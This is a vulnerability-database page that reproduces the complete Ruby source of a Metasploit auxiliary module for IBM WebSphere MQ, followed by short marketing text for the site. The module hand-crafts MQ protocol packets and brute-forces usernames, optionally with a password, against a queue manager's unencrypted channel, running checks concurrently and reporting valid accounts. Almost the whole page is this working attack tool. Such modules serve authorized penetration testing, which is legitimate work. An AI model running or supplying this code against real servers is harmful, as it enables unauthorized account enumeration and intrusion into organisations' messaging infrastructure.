Lucene search
K

IBM WebSphere MQ Login Check

🗓️ 28 Oct 2018 19:29:45Reported by Petros KoutroumpisType 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Check login for IBM WebSphere M

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'IBM WebSphere MQ Login Check',
      'Description' => 'This module can be used to bruteforce usernames that can be used to connect to a queue manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.',
      'Author'      => 'Petros Koutroumpis',
      'License'     => MSF_LICENSE
    )
    register_options([
      Opt::RPORT(1414),
      OptInt.new('TIMEOUT', [true, "The socket connect timeout in seconds", 5]),
      OptInt.new('CONCURRENCY', [true, "The number of usernames to check concurrently", 10]),
      OptString.new('QUEUE_MANAGER', [true, "Queue Manager name to use" ,""]),
      OptString.new('CHANNEL', [true, "Channel to use" ,"SYSTEM.ADMIN.SVRCONN"]),
      OptString.new('PASSWORD', [false, "Optional password to attempt with login"]),
      OptPath.new('USERNAMES_FILE',
        [ true, "The file that contains a list of usernames. UserIDs are case insensitive!"]
      )])
    #deregister_options('THREADS')
  end

  def run_host(ip)
    @usernames = []
    if datastore['CHANNEL'].length.to_i > 20
      print_error("Channel name cannot be more that 20 characters.")
      exit
    end
    if datastore['QUEUE_MANAGER'].length.to_i > 48
     print_error("Queue Manager name cannot be more that 48 characters.")
     exit
    end
    begin
      username_list
      rescue ::Rex::ConnectionError
      rescue ::Exception => e
        print_error("#{e} #{e.backtrace}")
      end
      print_line
      if(@usernames.empty?)
        print_status("#{ip}:#{rport} No valid users found.")
      else
        print_good("#{ip}:#{rport} Valid usernames found: #{@usernames}")
        report_note(
          :host => rhost,
          :port => rport,
          :type => 'mq.usernames'
        )
      print_line
    end
  end

  def first_packet(channel,qm_name)
    init1 = "\x54\x53\x48\x20" + 	# StructId
    "\x00\x00\x01\x0c" + 		# MQSegmLen
    "\x01" + 				# ByteOrder
    "\x01" + 				# SegmType
    "\x31" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x00\x00\x01\x11" + 		# Encoding
    "\x04\xb8" + 			# CCSID
    "\x00\x00" + 			# Reserved
    "\x49\x44\x20\x20" + 		# StructId
    "\x0d" + 				# FAPLevel
    "\x26" + 				# CapFlag1
    "\x00" + 				# ECapFlag1
    "\x00" + 				# InierrFlg1
    "\x00\x00" + 			# ReserveD
    "\x00\x00" + 			# MaxMsgBtch
    "\x00\x00\x7f\xec" + 		# MaxTrSize
    "\x06\x40\x00\x00" + 		# MaxMsgSize
    "\x00\x00\x00\x00" + 		# SeqWrapVal
    channel + 				# Channel Name
    "\x51" + 				# CapFlag2
    "\x00" + 				# ECapFlag2
    "\x04\xb8" + 			# ccsid
    qm_name + 				# Queue Manager Name
    "\x00\x00\x00\x01" + 		# HBInterval
    "\x00\x8a" + 			# EFLLength
    "\x00" +				# IniErrFlg2
    "\x00" + 				# Reserved1
    "\x00\xff" + 			# HdrCprsLst
    "\x00\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst1
    "\xff\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst2
    "\x00\x00" + 			# Reserved2
    "\x00\x00\x00\x00" + 		# SSLKeyRst
    "\x00\x00\x00\x0a" + 		# ConvBySkt
    "\x08" + 				# CapFlag3
    "\x00" + 				# ECapFlag3
    "\x00\x00" + 			# Reserved3
    "\x00\x00\x00\x00" + 		# ProcessId
    "\x00\x00\x00\x00" + 		# ThreadId
    "\x00\x00\x00\x1b" + 		# TraceId
    "MQMM09000000" + 			# ProdId
    "MQMID" + "\x20"*43 + 		# MQM ID
    "\x00\x01\x00\x00\xff\xff\xff\xff" +# Unknown1
    "\xff\xff\xff\xff\xff\xff\xff\xff" +# Unknown2
    "\xff\xff\xff\xff\xf1\x18\xa6\x93" +# Unknown3
    "\x2b\x8a\x44\x3c\x67\x53\x73\x08"	# Unknown4
  end

  def second_packet(channel,qm_name)
    init2 = "\x54\x53\x48\x4d" + 	# StructId
    "\x00\x00\x00\xf4" + 		# MQSegmLen
    "\x00\x00\x00\x01" + 		# Convers Id
    "\x00\x00\x00\x00" + 		# Request Id
    "\x02" + 				# ByteOrder
    "\x01" + 				# SegmType
    "\x31" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" + 		# Encoding
    "\xb5\x01" + 			# CCSID
    "\x00\x00" + 			# Reserved
    "\x49\x44\x20\x20" + 		# StructId
    "\x0c" + 				# FAPLevel
    "\x26" + 				# CapFlag1
    "\x00" + 				# ECapFlag1
    "\x00" + 				# IniErrFlg1
    "\x00\x00" + 			# Reserved
    "\x00\x00" + 			# MaxMsgBtch
    "\xec\x7f\x00\x00" + 		# MaxTrSize
    "\x00\x00\x40\x00" + 		# MaxMsgSize
    "\x00\x00\x00\x00" + 		# SeqWrapVal
    channel + 				# Channel Name
    "\x51" + 				# CapFlag2
    "\x00" + 				# ECapFlag2
    "\xb5\x01" + 			# ccsid
    qm_name + 				# Queue Manager Name
    "\x2c\x01\x00\x00" + 		# HBInterval
    "\x8a\x00" + 			# EFLLength
    "\x00" + 				# IniErrFlg2
    "\x00" + 				# Reserved1
    "\x00\xff" + 			# HdrCprsLst
    "\x00\xff\xff\xff\xff\xff\xff" + 	# MsgCprsLst1
    "\xff\xff\xff\xff\xff\xff\xff" + 	# MsgCprsLst2
    "\xff\xff" + 			# MsgCprsLst3
    "\x00\x00" + 			# Reserved2
    "\x00\x00\x00\x00" + 		# SSLKeyRst
    "\x0a\x00\x00\x00" + 		# ConvBySkt
    "\x00" + 				# CapFlag3
    "\x00" + 				# ECapFlag3
    "\x00\x00" + 			# Reserved3
    "\x00\x00\x00\x00" + 		# ProcessId
    "\x00\x00\x00\x00" + 		# ThreadId
    "\x1b\x00\x00\x00" + 		# TraceId
    "MQMM09000000" + 			# ProdId
    "MQMID" + "\x20"*43 		# MQM ID
  end

  def send_userid(userid,uname)

    if datastore['PASSWORD'].nil?
      password = "\x00" * 12
    else
      password = datastore['PASSWORD']
      if (password.length > 12)
        print_warning("Passwords greater than 12 characters are unsupported.  Truncating...")
        password = password[0..12]
      end
      password = password + ( "\x00" * (12-password.length) )
    end
    vprint_status("Using password: '#{password}' (Length: #{password.length})")

    send_userid = "\x54\x53\x48\x4d" + 	# StructId
    "\x00\x00\x00\xa8" + 		# MQSegmLen
    "\x00\x00\x00\x01" + 		# Convers ID
    "\x00\x00\x00\x00" + 		# Request ID
    "\x02" + 				# Byte Order
    "\x08" + 				# SegmType
    "\x30" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" + 		# Encoding
    "\xb5\x01" + 			# CCSID
    "\x00\x00" + 			# Reserved
    "\x55\x49\x44\x20" + 		# StructId
    userid + 				# UserId - Doesnt affect anything
    password +                          # Password
    uname + 				# Long UID - This matters!
    "\x00" + 				# SID Len
    "\x00" * 39 			# Unknown
  end

  def start_conn(qm_name)
    start_conn = "\x54\x53\x48\x4d" + 	# StructId
    "\x00\x00\x01\x38" + 		# MQSegmLen
    "\x00\x00\x00\x01" + 		# Convers ID
    "\x00\x00\x00\x00" + 		# Request ID
    "\x02" + 				# Byte Order
    "\x81" + 				# SegmType
    "\x30" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" + 		# Encoding
    "\xb5\x01" + 			# CCSID
    "\x00\x00" +			# Reserved
    "\x00\x00\x01\x38" + 		# Reply Len
    "\x00\x00\x00\x00" + 		# Compl Code
    "\x00\x00\x00\x00" + 		# Reason Code
    "\x00\x00\x00\x00" + 		# Object Hdl
    qm_name + 				# Queue Manager Name
    "\x4d\x51\x20\x45\x78\x70\x6c" + 	# Appl Name
    "\x6f\x72\x65\x72\x20\x39\x2e" + 	# Appl Name
    "\x30\x2e\x30\x20\x20\x20\x20" + 	# Appl Name
    "\x20\x20\x20\x20\x20\x20\x20" + 	# Appl Name
    "\x1c\x00\x00\x00" + 		# ApplType
    "\x00" * 32 + 			# AccntTok
    "\x03\x00\x00\x00" + 		# MQCONNX
    "\x00\x00\x00\x00" + 		# Options
    "\x46\x43\x4e\x4f" + 		# Struct ID
    "\x02\x00\x00\x00" + 		# Version
    "\x00\x00\x00\x00" + 		# Option
    "\x4d\x51\x4a\x42\x30\x39\x30" + 	# msgid
    "\x30\x30\x30\x30\x34" + 		# msgid
    "MQM" + "\x20" * 45 + 		# MqmId
    "\x00" * 68				# Unknown
  end

  def username_list
    username_data = get_usernames
    while (username_data.length > 0)
      t = []
      r = []
      begin
        1.upto(datastore['CONCURRENCY']) do
          this_username = username_data.shift
          if this_username.nil?
            next
          end
          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}:#{rport}", false, this_username) do |username|
            connect
            vprint_status "#{rhost}:#{rport} - Sending request for #{username}..."
            channel = datastore['CHANNEL']
            if channel.length > 20
              print_error("Channel name must be less than 20 characters.")
              next
            end
            channel += "\x20" * (20-channel.length.to_i) # max channel name length is 20
            qm_name = datastore['QUEUE_MANAGER']
            if qm_name.length > 48
              print_error("Queue Manager name must be less than 48 characters.")
              next
            end
            qm_name += "\x20" * (48-qm_name.length.to_i) # max queue manager name length is 48
            if username.length > 12
              print_error("Username must be less than 12 characters.")
              next
            end
            uname = username + "\x20" * (64-username.length.to_i)
            userid = username + "\x20" * (12 - username.length.to_i) # this doesnt make a difference
            timeout = datastore['TIMEOUT'].to_i
            s = connect(false,
              {
                'RPORT' => rport,
                'RHOST' => rhost,
              }
            )
            s.put(first_packet(channel,qm_name))
            first_response = s.get_once(-1,timeout)
            if first_response[-4..-1] == "\x00\x00\x00\x02" # CHANNEL_WRONG_TYPE code
              print_error("Channel needs to be MQI type!")
              next
            end
            s.put(second_packet(channel,qm_name))
            second_response = s.get_once(-1,timeout)
            s.put(send_userid(userid,uname))
            s.put(start_conn(qm_name))
            data = s.get_once(-1,timeout)
            if data[41..44] == "\x00\x00\x00\x00"
                  print_status("Found username: #{username}")
                  @usernames << username
            end
            disconnect
          end
        end
        t.each {|x| x.join }
      end
    end
  end

  def get_usernames
    if(! @common)
      File.open(datastore['USERNAMES_FILE'], "rb") do |fd|
        data = fd.read(fd.stat.size)
        @common = data.split(/\n/).compact.uniq
      end
    end
    @common
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation